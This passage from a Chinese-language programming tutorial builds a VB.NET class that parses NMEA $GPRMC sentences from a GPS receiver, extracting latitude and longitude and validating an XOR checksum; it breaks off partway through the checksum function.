1-1.&nbsp; The core of an NMEA interpreter</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'*******************************************************</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Public Class NmeaInterpreter</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 处理来自GPS接收器的信息</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function Parse(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 将语句分解为单词</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Words() As String = GetWords(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 通过匹配首单词来决定下一步的工作</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Select Case Words(0)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$GPRMC"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 一条“推荐最小”的语句被找到!</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 标示这条语句为可用</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return True</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 标示这条语句为不可用</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 将语句分解为单词</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetWords(ByVal sentence As String) As String()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Split(","c)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">End Class</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><BR>接下来一步就是要分析提取出来的信息了，让我们从纬度和经度开始吧。纬度和经度存储格式为“DDD°MM’SS.S,”，其中D表示时（也可以叫 “度”），M表示分，S表示秒。坐标可以简单表示为“DD°MM.M’”或者直接就表示为“DD°.”语句中第四个单词（“3939.7,”）以度和分的 形式表示当前的纬度为39°39.7’。头两个字符（39）表示度，余下的部分（39.7）表示分。经度和纬度是相同的结构，从这个语句来看要注意，头三 个字符表示经度的度（105°06.6’）。第五和第七个单词标示“半球”，其中“N”代表“北半球”，“W”代表“西经”。半球信息放在数字部分后面组 成完整的测量信息。<BR><BR>我还发现NMEA描述在事件驱动下使工作更容易完成。这是因为并不是按照特定的顺序来获取数据。一个事件驱动类为一应用程序给出了它最具灵活性和响应性的 描述。因此，我也将使用事件来设计描述，从而获取信息。PositionReceived是第一个事件，它将记录当前获得的纬度和经度。清单 1-2 扩展这个描述器，来报告当前位置。<BR><BR>清单 1-2：这个描述器可以报告当前的纬度和经度。<BR><BR><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'******************************************************* </SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'*************&nbsp; 清单 1-2. 从语句中提取信息&nbsp; *************</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'*******************************************************</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Public Class NmeaInterpreter</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 当前位置变化时，记录新位置</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event PositionReceived(ByVal latitude As String, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ByVal longitude As String)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 处理GPS接收器的信息</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function Parse(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 通过匹配首单词来决定下一步的工作</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Select Case GetWords(sentence)(0)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$GPRMC"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 一条“推荐最小”的语句被找到!</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return ParseGPRMC(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 标示这条语句为不可用</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 将语句分解为单词</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetWords(ByVal sentence As String) As String()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Split(","c)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 描述 $GPRMC 消息</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function ParseGPRMC(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 将语句分解为单词</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Words() As String = GetWords(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 我们是否有足够的数据来描述当前位置?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(3) &lt;&gt; "" And Words(4) &lt;&gt; "" And Words(5) &lt;&gt; "" And _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Words(6) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 是，则提取纬度和经度</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Latitude As String = Words(3).Substring(0, 2) & "°" ' 获取度</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(3).Substring(2) & """"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 获取分</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(4)&nbsp;&nbsp;&nbsp; ' 获取半球</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Longitude As String = Words(5).Substring(0, 3) & "°" ' 获取度</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(5).Substring(3) & """"&nbsp;&nbsp;&nbsp; ' 获取分</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(6)&nbsp;&nbsp;&nbsp; ' 获取半球</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 将该变化通知应用程序</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent PositionReceived(Latitude, Longitude)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 表示该语句可用</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return True</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">End Class</SPAN><BR><BR>当然，我们肯定注意到了当没有接受到任何信息时，有些GPS设备将报告空值。因此，在解意描述前先判断每个单词是一个很不错的想法。如果你需要打度的符号（°），那么按Alt健并且用数字键盘输入“0176”就OK了。<BR><BR>检验和（Checksum）就是采用XOR的方法来计算美元符（$）和星号（*）之间的字节。这个检验和是用来与语句的检验和比较的。如果检验和不匹配， 语句将被弃用。这个做法是很有效的，因为GPS设备每隔很短的时间就返回一批相同的信息。利用检验和的比较能力，描述就可以剔除每一无效的语句。清单 1-3 扩展描述器类来完成这个功能。<BR><BR>清单 1-3：这个描述器可以检测错误并且仅仅解意释放错误NMEA数据<BR><BR><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'**&nbsp; 清单 1-3. 检测并处理NMEA错误</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">'*******************************</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">Public Class NmeaInterpreter</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 当前位置变化时，记录新位置</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Event PositionReceived(ByVal latitude As String, _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ByVal longitude As String)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 处理GPS接收器的信息</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function Parse(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 如果检验和不能和我们计算的检验和匹配，那么丢弃它</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Not IsValid(sentence) Then Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 通过匹配首单词来决定下一步的工作</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Select Case GetWords(sentence)(0)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$GPRMC"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 一条“推荐最小”的语句被找到!</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return ParseGPRMC(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 标示这条语句为不可用</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Return False</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End Select</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 将语句分解为单词</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetWords(ByVal sentence As String) As String()</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Split(","c)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 描述 $GPRMC 消息</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function ParseGPRMC(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 将语句分解为单词</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Words() As String = GetWords(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 我们是否有足够的数据来描述当前位置?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; If Words(3) &lt;&gt; "" And Words(4) &lt;&gt; "" And Words(5) &lt;&gt; "" And _</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Words(6) &lt;&gt; "" Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 是，则提取纬度和经度</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Latitude As String = Words(3).Substring(0, 2) & "°" ' 获取度</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(3).Substring(2) & """"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 获取分</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Latitude = Latitude & Words(4)&nbsp;&nbsp;&nbsp; ' 获取半球</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dim Longitude As String = Words(5).Substring(0, 3) & "°" ' 获取度</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(5).Substring(3) & """"&nbsp;&nbsp;&nbsp; ' 获取分</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Longitude = Longitude & Words(6)&nbsp;&nbsp;&nbsp; ' 获取半球</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 将该变化通知应用程序</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RaiseEvent PositionReceived(Latitude, Longitude)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 表示该语句可用</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return True</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 如果检验和匹配，则返回TRUE</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function IsValid(ByVal sentence As String) As Boolean</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 星号计算后比较字符</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Return sentence.Substring(sentence.IndexOf("*") + 1) = GetChecksum(sentence)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; End Function</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; ' 计算语句的检验和</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp; Public Function GetChecksum(ByVal sentence As String) As String</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; ' 通过循环获得检验和</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Character As Char</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; Dim Checksum As Integer</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp; For Each Character In sentence</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Select Case Character</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "$"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 忽略美元符号</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case "*"c</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 遇到星号则停止计算</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Exit For</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Case Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 是否为检验和的第一个值?</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; If Checksum = 0 Then</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 是。将该值赋给检验和</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Else</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ' 否。采用XOR算法和当前检验和值计算，并将结构赋给检验和</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Checksum = Checksum Xor Convert.ToByte(Character)</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN style="BACKGROUND-COLOR: rgb(211,211,211)">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; End If</SPAN><BR style="BACKGROUND-COLOR: rgb(211,211,211)"><SPAN 